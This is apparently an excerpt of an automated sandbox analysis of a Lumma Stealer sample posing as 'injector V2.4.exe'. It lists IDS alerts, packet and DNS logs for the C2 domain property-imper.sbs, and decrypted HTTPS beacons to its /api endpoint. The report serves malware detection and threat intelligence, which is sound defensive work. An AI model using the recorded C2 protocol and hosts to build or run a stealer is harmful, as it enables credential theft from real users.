LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WaitForSingleObjectEx, WideCharToMultiByte, WriteConsoleW, WriteFile

GDI32.dll

CreateEllipticRgn

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T14:11:11.838507+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.33.116	443	TCP
2024-11-23T14:11:12.545091+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.33.116	443	TCP
2024-11-23T14:11:12.545091+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.33.116	443	TCP
2024-11-23T14:11:13.918642+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.33.116	443	TCP
2024-11-23T14:11:14.660934+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.33.116	443	TCP
2024-11-23T14:11:14.660934+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.33.116	443	TCP
2024-11-23T14:11:16.241595+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.33.116	443	TCP
2024-11-23T14:11:18.324378+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.33.116	443	TCP
2024-11-23T14:11:19.090279+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49707	104.21.33.116	443	TCP
2024-11-23T14:11:20.509084+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.33.116	443	TCP
2024-11-23T14:11:23.015197+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.33.116	443	TCP
2024-11-23T14:11:25.549686+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	104.21.33.116	443	TCP
2024-11-23T14:11:25.563296+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49711	104.21.33.116	443	TCP
2024-11-23T14:11:30.110285+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49725	104.21.33.116	443	TCP
2024-11-23T14:11:30.820317+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49725	104.21.33.116	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 14:11:10.523969889 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:10.524050951 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:10.524169922 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:10.525521040 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:10.525553942 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:11.838424921 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:11.838506937 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:11.844907999 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:11.844923019 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:11.845184088 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:11.895762920 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:11.916132927 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:11.916151047 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:11.916279078 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:12.545101881 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:12.545195103 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:12.545283079 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:12.555841923 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:12.555895090 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:12.555926085 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:12.555943012 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:12.606036901 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:12.606128931 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:12.606260061 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:12.606564045 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:12.606600046 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:13.918556929 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:13.918642044 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:13.955070019 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:13.955147028 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:13.955595016 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:13.957875013 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:13.958125114 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:13.958163977 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.660856009 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.660908937 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.660933971 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.660994053 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.661041975 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.661098957 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.661111116 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.669469118 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.669569016 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.669595003 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.678024054 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.678124905 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.678149939 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.724023104 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.724054098 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.770863056 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.780432940 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.833394051 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.833417892 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.874795914 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.874841928 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.874861956 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.874893904 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.874948978 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.875112057 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.875133038 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.875149965 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.875157118 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.978425980 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.978483915 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:14.978554964 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.978904963 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:14.978921890 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:16.241481066 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:16.241595030 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:16.243429899 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:16.243443966 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:16.243935108 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:16.245203972 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:16.245412111 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:16.245448112 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:16.983494043 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:16.983620882 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:16.983715057 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:16.983844995 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:16.983890057 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:17.110151052 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:17.110260963 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:17.110352993 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:17.110721111 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:17.110750914 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:18.324204922 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:18.324378014 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:18.325936079 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:18.325970888 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:18.326306105 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:18.327732086 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:18.327877045 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:18.327922106 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:18.328017950 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:18.328030109 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:19.090274096 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:19.090389967 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:19.090471983 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:19.090600014 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:19.090652943 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:19.286775112 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:19.286873102 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:19.286990881 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:19.287383080 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:19.287434101 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:20.508929014 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:20.509083986 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:20.510653019 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:20.510662079 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:20.510982037 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:20.512238979 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:20.512392044 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:20.512420893 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:20.512501001 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:20.512511015 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:21.393655062 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:21.393996954 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:21.394081116 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:21.394246101 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:21.394278049 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:21.744370937 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:21.744416952 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:21.744515896 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:21.744903088 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:21.744910955 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:23.015083075 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:23.015197039 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:23.041630030 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:23.041656017 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:23.042638063 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:23.066068888 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:23.066188097 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:23.066196918 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:23.737355947 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:23.737632990 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:23.737751007 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:23.738053083 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:23.738078117 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:24.281857967 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:24.281898975 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:24.282037973 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:24.282352924 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:24.282361984 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.549583912 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.549685955 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.550985098 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.550995111 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.551352978 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.561743021 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.562479973 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.562552929 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.562659025 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.562706947 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.562828064 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.563076973 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.563241959 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.563271046 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.563445091 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.563468933 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.563647032 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.563664913 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.563678026 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.563715935 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.563824892 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.563859940 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.563925028 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.564079046 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.564116955 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.564146996 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.611330032 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:25.611552000 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.611618042 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.645874977 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:25.645893097 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:26.100322962 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:28.482755899 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:28.482883930 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:28.482961893 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:28.680243969 CET	49711	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:28.680267096 CET	443	49711	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:28.849461079 CET	49725	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:28.849509001 CET	443	49725	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:28.849575996 CET	49725	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:28.849932909 CET	49725	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:28.849945068 CET	443	49725	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:30.110205889 CET	443	49725	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:30.110285044 CET	49725	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:30.111970901 CET	49725	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:30.111979008 CET	443	49725	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:30.112327099 CET	443	49725	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:30.113660097 CET	49725	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:30.113660097 CET	49725	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:30.113754034 CET	443	49725	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:30.820389986 CET	443	49725	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:30.820725918 CET	443	49725	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:30.820863008 CET	49725	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:30.822063923 CET	49725	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:30.822084904 CET	443	49725	104.21.33.116	192.168.2.5
Nov 23, 2024 14:11:30.822180033 CET	49725	443	192.168.2.5	104.21.33.116
Nov 23, 2024 14:11:30.822185040 CET	443	49725	104.21.33.116	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 14:11:10.374448061 CET	52873	53	192.168.2.5	1.1.1.1
Nov 23, 2024 14:11:10.517453909 CET	53	52873	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 14:11:10.374448061 CET	192.168.2.5	1.1.1.1	0xe6ee	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 14:11:10.517453909 CET	1.1.1.1	192.168.2.5	0xe6ee	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 23, 2024 14:11:10.517453909 CET	1.1.1.1	192.168.2.5	0xe6ee	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

property-imper.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.33.116	443	6564	C:\Users\user\Desktop\injector V2.4.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:11:11 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 13:11:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 13:11:12 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:11:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ap4l6piiepijurc1pgis93um1p; expires=Wed, 19-Mar-2025 06:57:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MCzusAGWgoNO7WCvr%2FivWK%2FQ6ZBRdqM6qBdICDtXI4b3o2ePtZIprMejaF1L42zYlSKsGAr3cFifNImcrIWQZXH%2Bzz6NN%2BZkM7sEfEHvnHpctPK3a4t%2FikfQDpEdg7URhd69bfo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71675cbd3b72a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1840&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1602634&cwnd=194&unsent_bytes=0&cid=502275b10d07d6c5&ts=719&x=0"
2024-11-23 13:11:12 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 13:11:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.33.116	443	6564	C:\Users\user\Desktop\injector V2.4.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:11:13 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: property-imper.sbs
2024-11-23 13:11:13 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 31 32 38 35 30 32 35 37 30 35 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--1285025705&j=
2024-11-23 13:11:14 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:11:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jug0kigo41mev9pg46i3o319m0; expires=Wed, 19-Mar-2025 06:57:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l7bIspwD4LL2jGHaMnGTsvo98v9Crg%2Btuy4UCUbtpCarlwVD6xESFIEK%2BcN8SFq31FIdHT%2FzgZXBrHBSWn8RMhFO%2Fs4tSaqs3P2oC%2BvyyiABznrzBAuf1OK%2B9XfqcxB%2BgKFpP6s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e716769cb99558a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1483&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1883870&cwnd=252&unsent_bytes=0&cid=5bda978807108c11&ts=753&x=0"
2024-11-23 13:11:14 UTC	348	IN	Data Raw: 34 65 31 0d 0a 46 61 7a 73 35 33 77 31 57 43 6d 68 6f 54 4b 56 42 72 34 59 52 37 6f 4b 62 36 79 4c 55 59 68 5a 50 2b 63 48 79 6d 2f 6e 4f 45 64 75 6a 70 72 46 52 67 46 30 43 39 4c 45 45 4b 39 79 7a 47 30 69 6c 69 67 4f 79 4b 6c 72 37 6a 68 54 6c 47 4c 6d 54 5a 46 56 5a 53 2f 4b 6a 59 73 50 55 48 51 4c 78 4e 6b 51 72 31 33 46 4f 69 4c 55 4b 46 57 4f 37 6a 76 71 4f 46 4f 46 5a 71 45 41 6c 31 51 6b 66 63 43 4c 6a 78 6c 57 50 45 6a 4e 7a 46 66 77 59 39 39 79 4b 64 4e 6e 42 38 47 70 66 61 6f 38 52 63 55 39 36 43 4b 43 54 43 5a 59 7a 5a 2b 4d 58 6b 68 30 55 6f 50 45 58 4c 63 38 6e 48 6b 69 32 47 59 4a 79 4f 41 35 34 44 46 62 68 47 4f 67 48 34 35 65 4c 33 33 4f 69 49 34 54 58 79 68 46 78 38 74 63 39 6d 6e 66 4f 6d 75 59 62 78 57 4f 73 58 4f 35 43 56 36 55 64 4c Data Ascii: 4e1Fazs53w1WCmhoTKVBr4YR7oKb6yLUYhZP+cHym/nOEdujprFRgF0C9LEEK9yzG0iligOyKlr7jhTlGLmTZFVZS/KjYsPUHQLxNkQr13FOiLUKFWO7jvqOFOFZqEAl1QkfcCLjxlWPEjNzFfwY99yKdNnB8Gpfao8RcU96CKCTCZYzZ+MXkh0UoPEXLc8nHki2GYJyOA54DFbhGOgH45eL33OiI4TXyhFx8tc9mnfOmuYbxWOsXO5CV6UdL
2024-11-23 13:11:14 UTC	908	IN	Data Raw: 4f 69 49 73 66 57 6a 70 5a 79 38 68 62 38 6e 62 58 63 79 6a 56 61 41 44 45 35 6a 44 71 50 46 65 50 61 71 49 4a 69 46 63 6a 64 38 37 4f 79 31 35 51 49 67 75 62 67 33 50 79 64 4e 74 32 4d 35 70 53 54 64 47 6e 4b 71 6f 38 55 63 55 39 36 41 57 41 57 53 5a 38 77 59 32 4e 46 55 55 36 57 63 58 4f 56 65 56 69 32 58 51 76 32 33 6f 48 77 4f 38 77 34 7a 42 55 67 47 4b 73 54 63 73 61 49 6d 2b 4f 31 73 55 2f 57 6a 46 48 79 64 52 51 74 33 75 53 59 32 58 66 5a 45 32 57 71 54 66 72 50 31 79 42 61 36 59 4a 69 56 77 72 65 73 47 49 6a 78 35 51 4d 45 50 4c 77 6c 33 38 61 39 78 2f 4b 4e 78 75 41 63 2f 73 63 36 52 37 57 70 30 6c 38 45 32 72 58 53 5a 6c 6a 4c 75 47 45 46 6b 39 58 59 50 63 48 75 34 6b 32 33 5a 6c 67 43 67 44 79 2b 59 68 36 79 6c 59 69 33 65 6b 43 49 4e 58 4a 6e Data Ascii: OiIsfWjpZy8hb8nbXcyjVaADE5jDqPFePaqIJiFcjd87Oy15QIgubg3PydNt2M5pSTdGnKqo8UcU96AWAWSZ8wY2NFUU6WcXOVeVi2XQv23oHwO8w4zBUgGKsTcsaIm+O1sU/WjFHydRQt3uSY2XfZE2WqTfrP1yBa6YJiVwresGIjx5QMEPLwl38a9x/KNxuAc/sc6R7Wp0l8E2rXSZljLuGEFk9XYPcHu4k23ZlgCgDy+Yh6ylYi3ekCINXJn
